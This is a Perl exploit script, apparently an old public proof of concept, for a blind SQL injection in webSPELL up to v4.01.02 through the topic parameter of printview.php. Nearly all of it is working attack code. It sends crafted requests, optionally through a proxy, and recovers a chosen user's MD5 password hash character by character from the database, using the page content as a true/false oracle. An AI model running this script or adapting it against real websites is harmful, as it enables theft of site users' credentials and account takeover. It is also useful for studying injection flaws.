#!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if(!$ARGV[2]) { print "\n \\#'#/ "; print "\n (-.-) "; print "\n -------------------oOO---(_)---OOo-------------------"; print "\n | webSPELL <= v4.01.02 (topic) Remote SQL Injection |"; print "\n | coded by DNX |"; print "\n -----------------------------------------------------"; print "\n[!] Bug: in printview.php line 61, inject sql code in \$topic"; print "\n[!] Solution: install security fix"; print "\n[!] Usage: perl ws.pl [Host] [Path] [Topic] "; print "\n[!] Example: perl ws.pl 127.0.0.1 /webspell/ -tid 1 -uid 2 -t my_user"; print "\n[!] Options:"; print "\n -tid [no] Valid topic-ID"; print "\n -uid [no] User-ID, default is 1"; print "\n -t [name] Changed the user table name, default is webs_user"; print "\n -p [ip:port] Proxy support"; print "\n"; exit; } my $host = $ARGV[0]; my $path = $ARGV[1]; my $user = 1; my $table = "webs_user"; my $topic = 0; my %options = (); GetOptions(\%options, "tid=i", "uid=i", "t=s", "p=s"); print "[!] Exploiting...\n"; if($options{"tid"}) { $topic = $options{"tid"}; } else { print "[!] Exploit failed, missing parameter\n"; exit; } if($options{"uid"}) { $user = $options{"uid"}; } if($options{"t"}) { $table = $options{"t"}; } syswrite(STDOUT, "[!] MD5-Hash: ", 14); for(my $i = 1; $i <= 32; $i++) { my $found = 0; my $h = 48; while(!$found && $h <= 57) { if(istrue3($host, $path, $table, $topic, $user, $i, $h)) { $found = 1; syswrite(STDOUT, chr($h), 1); } $h++; } if(!$found) { $h = 97; while(!$found && $h <= 122) { if(istrue3($host, $path, $table, $topic, $user, $i, $h)) { $found = 1; syswrite(STDOUT, chr($h), 1); } $h++; } } } print "\n[!] Exploit done\n"; sub istrue3 { my $host = shift; my $path = shift; my $table = shift; my $tid = shift; my $uid = shift; my $i = shift; my $h = shift; my $ua = LWP::UserAgent->new; my $url = "http://".$host.$path."printview.php?board=1&topic=".$tid."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*"; if($options{"p"}) { $ua->proxy('http', "http://".$options{"p"}); } my $response = $ua->get($url); my $content = $response->content; my $regexp = "Main Board"; if($content =~ /$regexp/) { return 1; } else { return 0; } }